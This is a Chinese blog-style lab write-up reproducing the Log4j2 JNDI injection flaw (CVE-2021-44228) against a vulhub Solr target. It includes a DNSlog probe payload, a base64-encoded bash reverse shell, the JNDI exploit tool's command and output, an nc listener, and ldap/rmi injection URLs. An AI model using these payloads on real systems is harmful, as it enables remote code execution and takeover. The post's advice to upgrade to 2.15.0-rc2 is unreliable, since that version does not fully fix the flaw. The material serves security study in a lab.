Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

news/2025/2/22 20:38:39/

文章目录

  • Apache Log4j简介
  • 漏洞介绍
    • 影响版本
    • 漏洞编号
    • 影响组件应用
  • 环境准备
  • 靶场搭建
  • 漏洞利用
    • 利用工具
      • 使用方式
    • 反弹shell操作
  • 漏洞修复建议

Apache Log4j简介

Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞介绍

log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

影响版本

Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)

漏洞编号

CVE-2021-44228

影响组件应用

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

环境准备

测试环境IP
Kali192.168.174.128
靶机192.168.174.131

靶场搭建

使用vulhub进行靶场搭建,如果不会使用的请看往期文章。

Docker搭建漏洞靶场(Vulhub、Vulnapp、Vulfocus)

使用docker搭建vulfocus的漏洞靶场

cd vulhub-master/log4j/CVE-2021-44228docker-compose up -d

浏览器访问 http://192.168.174.131:8983/ ,靶场部署成功

漏洞利用

POC测试、出现以下界面,可能存在log4j2 中存在 JNDI 注入漏洞

http://192.168.174.131:8983/solr/admin/cores?action=1

试着访问dnslog,有访问记录,存在log4j2 中存在 JNDI 注入漏洞

dnslog网站
https://www.callback.red/

poc如下:

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vx9w.callback.red}

利用工具

Log4j2 - JNDI 注入漏洞利用工具

使用方式

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

反弹shell操作

反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

在此kali攻击机构造反弹shell命令

bash -i >& /dev/tcp/192.168.174.128/9999 0>&1

将此条命令进行Java Runtime Bash 编码

编码网站

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.174.128

得到反弹shell的EXP

Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.174.128:1099/dctv93
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/fngumm
ldap://192.168.174.128:1389/fngumm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/bnntjh
ldap://192.168.174.128:1389/bnntjh

攻击机监听9999端口

nc -lvvp 9999

发送EXP

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.174.128:1099/gw42ym}
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/gw42ym}

反弹shell成功

漏洞修复建议

升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

http://www.ppmy.cn/news/107824.html

相关文章

Deep Frequency Filtering for Domain Generalization论文阅读笔记

这是CVPR2023的一篇论文,讲的是在频域做domain generalization,找到频域中generalizable的分量enhance它,suppress那些影响generalization的分量 DG是一个研究模型泛化性的领域,尝试通过各自方法使得模型在未见过的测试集上有良好…

OpenAI竞对再被谷歌加注!4.5亿美元新融资到位,累计已吸金14.5亿美元

量子位 | 公众号 QbitAI OpenAI之外,第二不差钱的AI初创公司出现了! 研发出ChatGPT最强竞品Claude的Anthropic公司,在谷歌投资之后,再次官宣获得了4.5亿美元C轮融资。 这轮收购之后,Anthropic资金一跃达到14.5亿美元…

用户账号注册的风险及安全措施

安全风险(包括但不限于): 密码泄露:用户的密码可能被攻击者窃取,从而导致账户被盗。恶意注册:攻击者可能会使用自动化程序进行大量恶意注册,占用系统资源。密码猜测:攻击者可能会尝…

PHPMySQL基础(三):处理查询SQL返回的结果集

PHP&MySQL基础(一):创建数据库并通过PHP进行连接_长风沛雨的博客-CSDN博客 PHP&MySQL基础(二):通过PHP对MySQL进行增、删、改、查_长风沛雨的博客-CSDN博客 目录 一、连接MySQL,处理错误,统一字…

MediaPlayer error(-38, 0) 异常处理

文章目录 1、参考资料2、业务背景3、解决方案 1、参考资料 Media Player called in state 0, error (-38,0) MediaPlayer的使用 2、业务背景 对时长超过 5s 的音频提供裁剪、试听功能,裁剪、试听最大时长均为 5s。当视频长度在 5s ~ 6s 之间,试听暂停…

PostgreSQL流复制中的同步与异步

关于PostgreSQL的流复制,相关概念在文档里已经说的很清楚,这里总结一下我的理解,包括一些不太容易注意到的地方: 要配置同步复制,关键在主库配置两个参数:synchronous_commit 和synchronous_standby_names…

真的裂开了呀,现在的00后,真是卷死了,辞职信已经写好了

谁说00后躺平了,但是有一说一,该卷的还是卷。这不,上个月我们公司来了个00后,工作没两年,跳槽到我们公司起薪22K,都快接近我了。 后来才知道人家是个卷王,从早干到晚就差搬张床到工位睡觉了。 …

Docker容器核心技术:Linux命名空间Namespaces、控制组cgroups、联合文件系统UnionFS

1.容器的本质——进程 Docker 使用 Google 公司推出的 Go 语言 进行开发实现,基于 Linux 内核的 cgroup,namespace,以及 OverlayFS 类的 Union FS 等技术,对进程进行封装隔离,属于 操作系统层面的虚拟化技术。由于隔离…